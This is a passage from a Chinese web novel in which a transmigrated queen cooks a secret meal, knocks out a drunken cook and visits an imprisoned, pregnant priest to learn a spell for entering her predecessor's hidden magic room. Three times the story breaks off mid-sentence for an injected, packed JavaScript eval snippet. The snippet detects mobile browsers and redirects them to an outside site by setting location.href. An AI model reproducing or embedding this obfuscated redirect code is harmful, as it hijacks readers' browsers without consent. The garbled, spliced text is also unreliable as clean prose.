也是，她睡了太久，现在是下午，已经又快要入夜。外面的雪还这么大，不太适合去教堂做礼拜。卡特琳娜遗憾地说：“那下次吧，你去的时候记得叫上我。” “好，好的。”简妮像逃难一样离开了。 虽然卡特琳娜有米洛这个万事通，但去教堂这种地方，她害怕她自己的随便举止会轻易冒犯禁忌，造成不好的影响，引起各方怀疑，所以还是跟着一个信徒一起去会稳妥很多。 她吃完了之后把餐盘扔旁边，开始精心装扮起来。王后的衣橱有数不尽的新衣和配饰，卡特琳娜穿上一身低调的黑裙，戴上了黑色的面纱，甚至用黑色的斗篷将自己身形遮掩。 连米洛都忍不住问她：“我的卡特琳娜，请问这么晚了，您是准备要去哪里？” “当然是去使用我的黑魔法！”卡特琳娜眯起眼睛，露出危险的表情。 米洛：？？？ 卡特琳娜很快变得正经，说：“好了，不跟你开玩笑，那个幽灵绝对不会放过我。伊桑的事情倒没那么急，现在最迫切的是我必须尽快提升自己的魔法实力，你得全力帮我。” 米洛点点头，说：“好的，我的卡特琳娜。” “之前的卡特琳娜一定有一个秘密基地对吧？在哪里？”卡特琳娜问道。 卡特琳娜还记得小时候看过的白雪公主动画片，恶毒的王后在一个充斥着蟾蜍、毒蛇、草药的黑暗空间里熬制她的魔药汤，制作出了毒害白雪公主的红苹果。 作为一个幽灵魔法学派的巫师，前卡特琳娜一定有一个类似的房间，放置她的魔法物品和装备。现在最迫切的就是——将那个基地占为己有！ 卡特琳娜已经完全没有占据她人身体的愧疚感。 她怎么可能因为这种无聊的情绪而将自身陷于危险的境地？她可不是什么无私奉献的圣母，她得先确保自己幸存下来，根本没功夫考虑别的人是死是活。要害她的人，要挡她路的人，她必须得想办法除掉才行。 无论是伊桑*沙穆，还是幽灵卡特琳娜，甚至是海因里希和玛利亚这对“父女”。 想到这里，卡特琳娜略微有些不适应，感觉自己似乎变得更激进了，也不知道是受了什么影响。还是要更谨慎些，这些人不惹她还好，如果非要跟她拼死活，那她也不会客气。 “确实有那么一个地方。”米洛回答说，她的语音语调越来越自然，越来越像是真人，“从这里走向王座厅的第七百七十七步。” “王座厅？”卡特琳娜还对王宫不那么熟悉。 米洛解释道：“王座厅是洛尔兰王宫最大的圆顶大厅。在洛尔兰，王座是权利的象征之一，国王的加冕即在王座厅举行。此外，历史上重大的事务和仪式也都在洛尔兰王座厅发生。一开始的洛尔兰王座由著名已逝工匠巴巴拉多打造，两侧是冰雪神鸟的雕像，因此也被称为‘冰鸟王座’。但由于教会斗争，在拜厄的压力下，范维西三世命人对洛尔兰王座进行了修改，卸下了神鸟雕像，将其搬至国事厅。” 卡特琳娜扶额：“我没让你名词解释！我只是想知道从这里走向王座厅的第七百七十七步是什么意思？” 米洛摇摇头，回答说：“这是空间魔法的一种，利用空间与空间之间的魔法联系进行的仪式。以离开卡特琳娜的卧室为第一步，走到王座厅门前为最后一步，必须是七百七十七步。除此之外，还需要心中默念一个‘秘钥咒语’。然后，就能够通过空间魔法进入您所想要去到的前卡特琳娜的‘秘密基地’，也就是被她藏起来的魔法屋。” 从自己的居室通向王座厅…… 卡特琳娜似乎抓住了什么，却又觉得不太对。 前卡特琳娜有这样的野心？ 难不成她想要成为洛尔兰的王？ 不对吧？她妈妈不是比洛尔兰强大几百倍的国家拜厄的女王吗？她何必成为洛尔兰的王？她又是独生女，等女王过世后，她不能回国登基吗？ 这个象征意义实在太过于明显，让卡特琳娜根本忽视不了，也许她要去到那个被藏起来的魔法屋后才能有别的线索。 “不行，跟你说两句话我又困了……”卡特琳娜打着哈欠往床上坐，她狠狠掐住自己的大腿肉打起精神来。她必须尽快提升自己的灵力，不然连跟米洛聊天都成问题！ 她问：“你不知道秘钥咒语？” “是的，我的卡特琳娜。我不知道秘钥咒语，但我知道有一个人知道。” “谁？” “全知神教洛尔兰分教区前神父伊桑*沙穆。” 果然，情夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632562|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是与前卡特琳娜最亲密的人，他一定知道许多她的秘密。 看来卡特琳娜必须先去会会那个怀着她孩子的男人才行。 “不过……为什么是前神父？”卡特琳娜问。 “在伊桑*沙穆受到指控后，他已经将洛尔兰分教区神父的职责转交给修士格里高叶*沙穆。在主教区决定是派他人前往，还是选拔当地修士之前，洛尔兰分教区的一切事物将由格里高叶全权代理。” 为了让卡特琳娜理解得更清楚，米洛补充说明：“神父是神甫的尊称，在全知神教中，这是七级神品的职位，负责整个教堂的运营。伊桑*沙穆年纪轻轻能坐到这个位置，本应该是北部教区主教的潜力候选。” 他前途这么敞亮，竟然还与王后通奸，不惜怀了孩子。 肯定是有什么比主教这个位置还要吸引他的，卡特琳娜心想。 “不过……神父不是不能结婚生子吗？为什么这个沙穆家族这么多人入教会啊？”卡特琳娜发现，除了伟大的全知神之子卢*沙穆和教皇肯*沙穆外，伊桑姓沙穆，这个格里高叶竟然也姓沙穆。 “我的卡特琳娜，全知神教的所有在职神职人员均必须舍弃自己原本的姓氏，他们自认为是全知神的后裔，所以他们都姓沙穆。” 这竟然是个习俗，卡特琳娜尴尬笑两声：“好吧，是我见得少、听得少了。” * 夜里无人。 卡特琳娜手拿提灯试着从居室往王座厅走，但这条路不算短，还要转好几个弯，她走过去用了差不多八九百步。 “巫婆的步子还挺大。”她低声吐槽道。 要精确走到七百七十七步，考验的不仅仅是空间想象力，还有对自身肌肉的控制力，以及超敏锐的计算力。 前卡特琳娜绝不是一个会被轻易打败的对手。在梦境里，幽灵魔法不能得到展现，所以才让她这个外来者先占上风。 等下一次幽灵卡特琳娜再来的时候，就不知道有没有这么好的运气了。 卡特琳娜等不了，她绝不会坐以待毙。 她推开门，走进了王座厅。 整个厅的平面并不算特别大，但圆顶极高，显得空间宽阔。提灯的光线不太明亮，但还是让卡特琳娜看清楚了王座的样子。 她不由得走近了去看，如水晶般璀璨，比黄金更夺目，这就是很多人毕生追求的东西吗？王座的意义并不在于值多少钱，而在于它象征着权力和统治。 卡特琳娜见没有别人，没忍住一屁股坐上去。 好像…… 也就这样？ 或许打光好一点，换一身更漂亮的造型，能出不错的片。她摸着王座的扶手，冰冰凉凉得沁人。她打了一个寒颤，立即站起身。 她似乎听到身后有窸窸窣窣的声音，立即转过头去，问：“是谁？” 灯光照到的地方什么都没有。 也许是老鼠吧？自从见过伊桑派遣的老鼠信使后，她就对王宫的卫生情况非常担忧了。老鼠越多的地方，越是意味着疾病潜伏。 她没有再在王座厅久留。 虽然夜还很长，但她也安排了许多事情做呢。 首先，她要去厨房做点能吃的。 夜里厨房已经熄火，不会有人来打扰，正是她大展拳脚让自己饱腹的好时候。卡特琳娜在以前的世界时，由于对饮食极为挑剔，不得不自学了烹饪。 不说她做得有多好，但自认为不输外面餐馆的平均水平。 她在食物储藏室发现了不少好东西，布莱恩那个庸厨不会做，把很多材料都浪费了。虽然调味品不是很多，但有油、盐、胡椒也勉强够用。 卡特琳娜随便煮个家常菜也比那一天天的减肥餐好吃！ 于是她哼哧哼哧开搞，相继做了番茄鱼片、土豆炖肉、洋葱炒鸡蛋、西兰花炒腊肉和蘑菇肉丸汤。可惜的是没有米饭，她只能烤玉米代替。 伊桑能吃得惯中餐吗？ 吃不惯也得吃，他肚子里的孩子可需要这些营养了！ * 布莱恩本来还高兴那个恶毒王后今天一天没开餐，他可以好好休息。他都已经在自己房里躺下睡觉，被简妮给叫起来。 真是的无语，他只能立即去牛棚挤牛奶，找出库存的鸡蛋，再切几片昨天的面包，最后配上香肠、菜叶和地薯。 吃吃吃，就她能吃！现在整个王宫都吃不饱饭了，他们这些后勤只有干粮吃，要不就是自己偷偷在外面猎点兔子！再过两天，鸡蛋都没有的吃！ 打发了简妮之后他喝了点小酒准备睡觉，结果想起来自己好像是忘了关谷房的门。 该死，那群老鼠肯定要进去偷吃。 他换了衣服，准备去厨房那边把谷房锁好。但还没有走近，他就远远闻到食物的香味。 那是他从来没有闻到过的陌生的味道，但却意外的让他不自觉分泌出唾液来。 咕噜。 他的肚子又开始叫了。 17. 夜探地牢 卡特琳娜刚做好了五道菜，正在烤三根玉米，用蜂蜜、黄油、盐和胡椒在外面裹了一层。那味道香得她口水长流，她实在没有忍住，坐在地上吹了吹热气就开始啃。 呜呜呜，终于吃到好吃的了，也不知道这几天吃减肥餐让她受了多少饿！这么简单的烤玉米都不会做，每次都是水煮，布莱恩那家伙是怎么当上宫廷大厨的？ 她还没啃到半根，就听到了米洛的提醒。 “我的卡特琳娜，好像是有人过来了，估计会在一分钟内到厨房门口。” 卡特琳娜没想到这么晚了还会有人来厨房，她赶紧把旁边的提灯熄灭。做好的菜没来得及收整，啃了一半的玉米只好放在灶台上。 因为基本已经收尾，灶炉里只剩下零星小火。 厨房用具放得比较杂乱，卡特琳娜暂时躲在在货架后面，希望不会被发现。毕竟如果传出去洛尔兰王后晚上偷偷来厨房做饭吃，岂不是有损她恶毒继母的脸面。 果然如米洛推测，一分钟内就有人到达，从身形来看是个又肥又胖的男人。他小心翼翼地推开厨房门，然后松了一口气，自言自语说：“刚刚明明看到有灯光来着……难道是我酒喝多了眼花？而且，这个味道……” 听声音，不用米洛提醒，卡特琳娜就知道这是布莱恩——洛尔兰的王宫大厨。 令人遗憾的是，布莱恩是做减肥餐的一把好手，他本人却似乎患有严重的肥胖症，让卡特琳娜怀疑平日里的肉是不是都被他偷吃了。 布莱恩被美食的香味吸引，走到了卡特琳娜做好的番茄鱼片、土豆炖肉、洋葱炒鸡蛋、西兰花炒腊肉和蘑菇肉丸汤的前面，惊叹道：“冰雪女神！” 正如卡特琳娜口头禅是“我的老天爷”一样，作为冰雪神教的信徒，布莱恩表达震惊情绪时会叫出“冰雪女神”。 卡特琳娜闻到刺鼻的酒气，又看他走路一晃一晃的样子，便知道他喝了不少酒，推测这家伙发胖的原因估计跟酒精关系更大。 不行！他看起来就是个馋鬼！不能让他玷污了美食的清白！ 卡特琳娜眼看着布莱恩将手伸向菜肴，她不由紧张地屏住呼吸，内心纠结不已。最终她下定决心，抓住了货架上的擀面杖。她的动作造成了轻微的声响，但是没有被醉醺醺的布莱恩听到。 他马上就要碰到她的菜了！ 卡特琳娜用擀面杖敲在了货架上，发出较大的沉闷声，这下果然引起了布莱恩的注意。他立即转头四顾，问：“谁？” 他显然有些害怕，但还是大着胆子转身往传出声音的方向走，然后便看到了灶台上的两根半烤玉米。他的内心满是疑惑，嘴里嘀嘀咕咕：“这是……？难道……” 他的手再次伸出来，想要拿起那色香味俱全的烤玉米。 卡特琳娜再也站不住了，她红了眼睛，低呵一声：“住手！” 布莱恩被黑暗中突然出现的声音吓了一跳，本来就紧张，被吓得一屁股坐在了地上，惊叫了一声：“啊！” “谁？！”他非常后悔自己出门没有拿火把或提灯，本来想着厨房他熟得很，闭着眼睛都能走，哪里能想到会遇上这种怪事。 他转过头去，差点晕倒。 一个黑暗的影子凭空出现在他的身后，手里拿着一根白色的东西，以他的想象来判断那应该是死神的镰刀。 这一切立即让他回忆起小时候听过的故事，猎户阿西一家三口和一只小狗住在山上。因为冬天猎不到事物，他的老婆和孩子都相继饿死。阿西最后一次出去打猎没有收获，回到家后只能饿着等死。在那天夜里，他闻到了食物的香味，醒来后发现锅炉里煮好了鹿肉。 他吃了鹿肉，终于觉得自己活过来。但这时候有人敲门，他开门后看到一个拿着镰刀的男人。他问男人是来做什么的，男人说： “既然你已经吃完了最后的一餐，那便愉快地接受死亡吧。” 然后男人向阿西挥动镰刀，阿西便被带去了地狱。 那个故事里的情节，与布莱恩现在经历的几乎是一模一样！他突然在厨房里发现许多做好的美食，然后撞见了拿着镰刀的死神！难道他的寿命已经到需要完结的时候了吗？ 布莱恩跪倒在地，痛哭流涕：“不要啊！死神大人，不要带我走！” 拿着擀面杖准备将他打晕的卡特琳娜：？？？ “我，我家里还有一个十六岁的儿子！虽然离婚后，前妻带他离开，但我每个月都要给他们寄抚养费！如果我死了，我儿子就没有钱去费里特念大学了！”布莱恩一把鼻涕一把泪，“死神大人，您放过我吧！” 卡特琳娜生怕他扑过来抱她大腿，赶紧往后腿了几步。 “死神大人……呜呜呜呜呜……”布莱恩哭得像个孩子。 卡特琳娜受不了了，压低声音吼道：“闭嘴！” 布莱恩立即闭嘴了，但浑身颤抖不已，完全无法面对自己即将要死的现实。就算要死，他也得吃了美食再死！于是他抹掉眼泪，一把抓起灶台上的玉米，猛然一口啃住。 太，太好了！他这辈子从来没有吃过这么好吃的玉米！果然是死前的最后一顿吗？ “给我放下！”卡特琳娜再次低声呵斥。 布莱恩不敢违抗死神的命令，放下了手中的玉米，抽噎道：“死，死神大人？现在，现在就要带我走吗？我，我能不能留一句遗言给我儿子？” 卡特琳娜要被无语死了，她哪里看着像是死神？这个布莱恩显然是喝了太多酒！ “我不是死神。”卡特琳娜澄清道。 “啊？”布莱恩抬起头来，看着巨大的黑色的影子将手中的白色长物举起。他终于看得清楚了些，那不是镰刀，有点像擀面杖。 “我是食神。” 卡特琳娜纠正道，然后一棍子把布莱恩打晕了过去。 * 卡特琳娜用食盒将菜装好，按照米洛的指示来到了关押伊桑*沙穆的地牢附近。 这里就在洛尔兰王宫西侧树林的后面，由宫廷骑士团的人严密看守。他们大部分是国王海因里希的亲信，但其中也不乏卡特琳娜安插的卧底——基本都是从全知神教信徒中发展的。 今夜刚好是骑士吉姆守夜，本来还有一个骑士跟他一起执勤，但由于风雪太大，他们说好轮流站岗。结果午夜之后雪小了些， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632563|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那人却久久不出现，让吉姆心里不禁骂骂咧咧。下一次再也不会相信他的鬼话了！ 他困得背靠着墙打瞌睡，眼睛快睁不开。 这时候他突然感到风变得大，冷得他哆嗦，一睁眼看见一个黑影出现在面前。他立即将手放到剑柄上，却听到一个女声传达的密语：“月亮的坟墓在十三月的尽头。” 这是他起誓后获得的密语，吉姆立即单膝跪地，不敢抬头，“陛，陛下？” “我不是。”卡特琳娜立即否认，“我是新月的丧钟，是黑夜派遣的使者，奉命来见伊桑*沙穆。” 吉姆这才松了一口气，还以为是王后陛下亲自过来。虽然听不懂她说的是什么，但感觉应该是教会上面派来的人，不然也不可能知道王后陛下的密语指令。 只是，为什么要见伊桑*沙穆？他本来就对王后与神父的案情充满怀疑，他们怎么可能……他不敢仔细去看黑影的模样，虽然也看不太清。他低着头，用钥匙将门打开，说： “请跟我来。” * 卡特琳娜在卧底骑士的带领下穿越地牢的重重防备，终于达到了伊桑沙穆的所在。 海因里希并没有虐待这个给他戴绿帽子的男人，反而准备了齐全的生活用具，让人将牢房收拾得干净整洁。天气严寒，甚至还提供了炭盆供人取暖。 那个棕色卷发的青年男人在桌后坐得笔挺，目光如炬、表情严肃，让人会以为他是审判官，而不是受审的牢犯。即使发现有人开门进来，他也只是微微抬了眼皮，并没有更进一步的动作。 卡特琳娜惊奇地观察他，还以为他是坐在那里睁眼睡觉。 “你终于来了。”伊桑*沙穆的嗓音比前两天听起来沙哑了很多。 卡特琳娜本来有些担心孕夫的身体受不了牢狱的环境，但看他面色如常又觉得自己想太多。伊桑肯定比她更会保全自己，他可是能把大反派都逼到没办法的人物。 “你怎么知道是我？你大晚上坐在这里，是知道我会来？”卡特琳娜将食盒放在桌上，将黑色兜帽掀起，去掉面纱露出了脸来。 “你的样子，就算是化作灰，我都能认出。你收到了我的信，就肯定会来找我。” 卡特琳娜认同他的说法，他们确实应该是见面好好聊聊，把所有的问题都说开才行。 她轻笑一声，说：“你就这么自信？你那样威胁我，不怕我在你公开我的秘密之前就把你解决了？你给卢*沙穆留遗言这件事确实让我意外，但我有的是办法让你死不掉、又不能开口说话。” 因为没有筷子，卡特琳娜只拿了叉子和勺子。说话间，她用叉子在伊桑面前比划起来。她需要立威，不能让这个小三以为她是好欺负的！ 但伊桑却完全没有畏惧她的动作，反而是擒住她的手腕，将她一下子往自己的方向拉。 卡特琳娜反应不及，直接被拉进了伊桑的怀里。 前神父伊桑*沙穆紧紧抱住她，似乎恨不能将她揉进自己的身体。他伪装的坚强瞬间崩塌，表情变得委屈痛苦，泪水从灰色的眼睛里落下，声音哽咽： “陛下……你终于，终于来找我了……” 18. 狱中乱情 卡特琳娜不敢动了，她还以为伊桑*沙穆跟她的关系完全剑拔弩张，怎么私下一见面他就哭得这么梨花带雨？ 不只是梨花带雨，还楚楚可怜得像是受了极大的委屈，就差咬手帕。 这是今晚卡特琳娜第二次见男人哭，不由得感叹人比人气死人。 布莱恩哭，她只想一脚将其踹飞，一棍子将其打闷。伊桑*沙穆哭，她看着他俊俏的脸蛋，委屈的眼神，抿住的下唇，只觉得他可怜。 她没见过男人哭得这样我见犹怜，也不知道该说什么，只能拍拍他的后背揉揉他的头发安慰。 结果她这一拍一揉，伊桑哭得更厉害，完全是泣不成声：“陛下……呜呜呜……我还以为再也，再也见不到你了……” 呃…… 卡特琳娜再可怜他，也实在不喜欢被人搞得浑身鼻涕眼泪，见他没有好转的迹象，便费力挣开。她想训他两句，却看到刚刚还一本正经的神父低垂着眼，满脸泪痕，棕色卷发被揉得像一只乱糟糟的小狗。 她太心软了，把食盒打开，将里面的菜摆出来，说：“别哭了，先吃点东西吧，你这两天辛苦了。” “陛下……”伊桑略震惊地看着她拿出食物，都是没怎么见过的类型。而且，以前陛下从来不会在意他吃什么…… “嗯……我让布莱恩研发的新菜式，对孕夫有好处。”卡特琳娜才不会承认是她亲手做的，她又拿出了一份叉子和勺子，“我们一起吃。” 伊桑愣愣地看着，眼泪也不流了。 卡特琳娜真没想到这个在审判现场那么硬气，转头还威胁她的神父，竟然这时候知道服软，装起绿茶来了！ 她不戳穿他，拿袖子嫌弃地抹了他的脸一把，皱眉说：“看什么看？难不成还要我喂你吗？” “我……我自己来。”伊桑接过叉子，却还是没有行动。 卡特琳娜差点翻白眼，难道他是怕她给他下毒吗？ 她为了证明没有下毒，自己先吃了。呜呜，虽然走夜路过来，菜冷了些，但还是家乡的味道好！她真的不喜欢吃白人餐！ 伊桑见卡特琳娜没有顾虑，坐在他旁边吃得很香，便也用叉子小心翼翼叉了块番茄放进嘴里，确实与他往常吃的不太一样。 “吃这么小口……”卡特琳娜给他碗里叉了不少鱼肉，“对了，你们神父不吃斋吧？” 她知道和尚吃斋，但神父吃不吃她真不知道。不过就算吃斋，怀孕了也不能只吃斋，现在给孩子补充营养要紧，得多吃点肉类！ 她给伊桑碗里叉了不少肉和蛋，说：“你要是喜欢，我让布莱恩时常做，再叫简妮给你送过来。” 伊桑听到这里变了脸色，一下拉住卡特琳娜的手，“陛下……” 卡特琳娜意识到自己说错，改口道：“在我把你救出去之前，你现在怀孕了，又怀的是我的孩子，我肯定会救你，你放心。” 说到怀孕，伊桑的脸上似乎有了红晕，他“嗯嗯”两声后再开始吃，说：“确实还是，有一些费里特宫廷菜的感觉，但又不完全是，很特别。” “费里特宫廷菜？”卡特琳娜问。 问完她立即后悔了，卡特琳娜作为拜厄公主，怎么可能不知道费里特宫廷菜的味道？现在她想要不承认自己是冒充卡特琳娜的人都不行！ 但显然伊桑完全接受了她不是本尊的事实，对她解释道：“凯特罗琳女王就喜欢炒菜，而且她饮食重辣，在费里特掀起了吃辣炒的时尚。我倒没那么喜欢，这些清淡的口味更适合我。” 倒不是卡特琳娜愿意清淡，是因为厨房没有太多调味料，她只能往清淡的风格做。不过再怎么清淡，也比布莱恩煮的减肥餐好吃很多。 五个菜，三个人（包括肚子里的孩子）吃得也所剩无几，卡特琳娜都为他们的饭量感到惊奇。 她见伊桑吃了不少，情绪也稳定下来，冷不丁问道：“你什么时候发现我是冒充的？” 伊桑对她的态度变化得太明显，让她摸不准他的心思。但既然这是她的致命把柄，她必须弄清楚原因才行。 伊桑愣住，没有立即回答。 她手里把玩着叉子，继续逼问：“告诉我，什么时候？” 伊桑知道自己不能再沉默下去，直视着卡特琳娜碧绿色的眼睛，反而问了个问题：“陛下，你还记得我的任命状是谁签署的吗？” 这让卡特琳娜不禁皱起眉头，她都是冒充的她又怎么可能知道？ 他自问自答：“是肯*沙穆大人。三年前，我受肯*沙穆大人派遣到洛尔兰教区担任神甫。在从费里特出发时，他给了我一颗孕种，让我一定要怀上古奥斯家族纯种血脉的孩子。从那时候，我就知道，你绝对不可能是真正的卡特琳娜*布瑞尔*古奥斯，你只是一个占据了她身体的幽灵。” 卡特琳娜听到这里不由得站起身来，难以掩饰自己的惊讶。 伊桑根本不知道她是穿越者的事情，他还以为她是以前的卡特琳娜。三年前？那岂不是意味着前卡特琳娜也不是真正的卡特琳娜？前卡特琳娜是占据了卡特琳娜身体的幽灵。 然后，不知道出现了什么变故，卡特琳娜的身体又被她这个穿越者占据了？ “孕种是真正的布瑞尔公主幼时留下的灵种子，只有将它置入有布瑞尔公主□□血脉的后裔中，才能够诞生古奥斯家族纯种血脉的孩子。” 伊桑坐在原位，紧紧握着自己的手，指甲嵌进了肉里，“所以，当你提出要给我移植子宫，创造一个孩子时，我毫不犹豫答应了。这就是我存在的价值和意义，陛下，我愿意为了教会和天神生下这个孩子……但我……我也爱你，我爱你这件事也绝不是虚假……” 卡特琳娜被他的话搞得大脑搅成了一坨浆糊，这，这是什么狗血戏码啊？ 伊桑再次做出楚楚可怜的表情，他伸手抓住卡特琳娜的衣袖，整个人似乎都快碎了，他乞求道：“陛下，请你原谅我，我不是故意拿这件事情来威胁你。这件事是肯*沙穆一手策划，我只不过是他手中的一枚棋子……” “等等。”卡特琳娜甩开伊桑拉着他的手，脸色沉下来。 虽然她穿越者的身份没有被识破，但前卡特琳娜竟然也不是真正的卡特琳娜！不只是伊桑，肯*沙穆也就知道这件事情，她迟早要完蛋！ “教会要这个古奥斯家族纯种血脉的孩子来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632564|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做什么？” 伊桑没有立即回答。 卡特琳娜回答了：“取代凯特罗琳*古奥斯吗？” 伊桑不敢回答，沉默不语。 这完全是拜厄教会和王权之间的斗争，但肯*沙穆为什么不考虑卡特琳娜，反而要利用她再创造一个孩子？ 卡特琳娜转念一想，既然肯*沙穆知道卡特琳娜不是真的，说不定凯特罗琳女王也知道。如果是这样，确实不可能扶持一个假的卡特琳娜登上拜厄的王座。 这也就能够解释，为什么凯特罗琳女王那么疼爱独生女儿，却还是把她嫁到了如此贫苦落后的洛尔兰。 “你觉得我当初为什么会提出给你移植子宫，然后创造一个孩子？”这是卡特琳娜另一个疑惑的问题，她不能确定那个占据王后身体的幽灵是不是有别的预谋。 伊桑现在急于向她投诚，再次抓住她的衣袖，说：“是因为那个预言吗？夜仙女在布瑞尔公主十五岁时做出的预言——洛尔兰第四代出生的第一个男性王室成员，将在未来三十年内推翻拜厄，统一整个北大陆。陛下，这个孩子有您和范维西三世的血脉，如果是男孩的话……” “等等。”卡特琳娜再次甩开了他的手，脑袋要爆炸了。 这就能解释为什么白雪要男扮女装了，如果那个预言真的被这么重视，教会和拜厄方面肯定想方设法要除掉他。所以他只能隐瞒自己是男性的真相，作为公主活着。 但凯特罗琳女王如此仁慈吗？如果是她的话，说不定会铲平整个洛尔兰，一个男的也别想活着离开。卡特琳娜不禁被自己的残暴吓到，她变得激进了很多，是什么影响了她？ 而且……为什么伊桑怀的孩子是有她和范维西三世的血脉啊？难不成伊桑只是代孕爸爸吗？她完全理不清楚头绪了。 “你，怎么知道孩子有范维西三世的血脉？”卡特琳娜完全想象不到那个恨她入骨的海因里希会愿意跟她血脉融合！ 伊桑沉默了一会儿，回答说：“这不是陛下告诉我的吗？具体是怎么做的我就不知道了，但血脉联系的感应印证了他/她确实是范维西三世的血脉。陛下，我绝不会告诉肯*沙穆这件事，他不可能扶持范维西家族的后裔登上拜厄的王座。” 他说着似乎下定了什么决心，突然解开了长袍，露出了纤长的白色脖颈。伊桑*沙穆微红着脸，乞求道：“陛下，请不要放弃我，也不要放弃这个孩子。尽管他/她是你和范维西三世的血脉，我也会把他/她当做亲生子来养育。” 是的，前卡特琳娜有要除掉伊桑和他肚中孩子的想法。尽管这是她亲手制造的孩子，但某一天她又突然反悔了。 但卡特琳娜不至于那么恶毒，她拍了拍伊桑的肩膀，安慰道：“虽然大人的战争要拼个死活，但毕竟孩子是无辜的，我会尽量帮你。” 伊桑见卡特琳娜改变了态度，差点又落下泪来，他小心翼翼握住她的手，将掌心覆在自己的脖子上，顺着敞开的衣领逐渐往下。 卡特琳娜：…… 伊桑垂着眼，烛光在他脸上将棕色的睫毛映出长长的影子，低沉的嗓音充满磁性：“陛下，你要对我做什么都可以……” 19. 镜子魔法 虽然神父看着确实秀色可餐，表面庄严禁欲，私底下却玩很大，但卡特琳娜没有对一个孕夫做任何事情的想法。 “倒也不必。”卡特琳娜婉拒了他的邀请，收拾桌面的餐盘，“既然我答应了帮你，就一定会做到。但你答应我的，你也不要忘了。” “我不会忘记的。”伊桑见卡特琳娜对自己毫无兴趣，似乎仍不甘心，并没有立即将衣服扣好。他半遮半掩，欲言又止。 卡特琳娜看不下去了，提醒他：“你毕竟怀孕了，不要穿这么少，里面至少穿一件保暖内衣，你不顾及自己的身体，也要为我的孩子的健康考虑啊。” 伊桑略显尴尬地将衣服扣整齐，纤长白皙的脖子也重新被遮盖住。 “对了，有一件事我得问你。”卡特琳娜可没有忘记她大半夜来地牢找伊桑的最重要的原因，“你还记得第七百七十七步的秘钥咒语吗？” 伊桑疑惑了：“第七百七十七步？” 他沉思了好一会儿才想起来，眼珠子一动不动地盯着卡特琳娜看，“当然记得。为什么问我这个？” “我中了诡异的魔法。”卡特琳娜不得不胡编乱造一通，她挤眉弄眼，说得煞有介事，“有人暗中偷袭入侵我的梦境，将我的秘钥记忆偷取了，我完全想不起来。现在我必须去我的魔法屋看看，你告诉我秘钥咒语是什么。” 在这个世界呆久了，她说谎都不会眨眼睛的。不过也不完全算说谎，毕竟真的有人入侵了她的梦境。 伊桑应该是信服了她的理由，点点头说：“陛下，你靠过来些，我小声告诉你。” 卡特琳娜凑到了他的身边，感觉到神父的呼吸紧紧贴在她的耳廓，挠得皮肤有些发痒。随后她听到他说了一串复杂的古狄埃语，意思是以我之灵穿越至我之空间。 卡特琳娜努力记忆着这些古老的单词，完全没有防备到伊桑的唇碰到了她。 男人的唇瓣比她冰冷的耳朵更温暖更柔软也更湿润，她竟完全没有产生厌恶的感觉。 伊桑*沙穆用牙齿轻轻咬了一下卡特琳娜的耳垂，说： “陛下，我等你。” * 在拿到秘钥咒语之后，卡特琳娜迫不及待要去幽灵的魔法屋，但也没忘记警告护送她的骑士吉姆：“绝不能让其他任何人知道我来过。” 她自知很难完美走出七八七十七步，所以让米洛计算了准确的平均步长，用等长的布条比对着一步步从王后卧室走向王座厅。 她在心中用古狄埃语默念秘钥咒语——“以我之灵穿越至我之空间”，推开了王座厅的大门后走进去。 然后卡特琳娜就来到了一个陌生的地方，是一个很大的房间，没有窗户只有一扇生锈的铁门。 房间呈长方体形状，左半部分有一张书桌、整面墙的书架和四处堆放的书籍。右半部分中央则有一个巨大的锅炉，周围货架上摆放着许多玻璃器皿，里面转着很多卡特琳娜认不出的生物的脏器。墙上挂着许多奇形怪状的东西，像是野兽的骨骼和皮毛，诡异昆虫和鱼类的标本。 “果然是巫婆的魔法屋……”卡特琳娜感叹道。 那个占据布瑞尔公主身体的幽灵，应该是个很努力的巫师。虽然房间整体来看是比较杂乱无章，但她收集了这么多魔法材料，摞在地上的书都被她翻得发皱。在远嫁洛尔兰的这十年里，她不仅做了称职的恶毒继母，还不忘刻苦钻研魔法。 卡特琳娜走到书桌旁，点燃桌上的灯烛，发现一封写到一半的信，羽毛笔就放在旁边。信主人可能是由于急事离开，以为很快能回来将信收尾。但可惜的是，她短时间回不来了。 卡特琳娜将信拿起来阅读。 “尊敬的瓦沙克*道格斯亲王， 我已按照您所期望的那样，将您的侄女纳温公主变作了青蛙，并将她囚禁在洛尔兰王宫井底，这滴青蛙血便是证明。希望您能遵守您的诺言，令十四团……” 信纸的下面确实印有一滴血迹，由于氧化呈现黑红色。 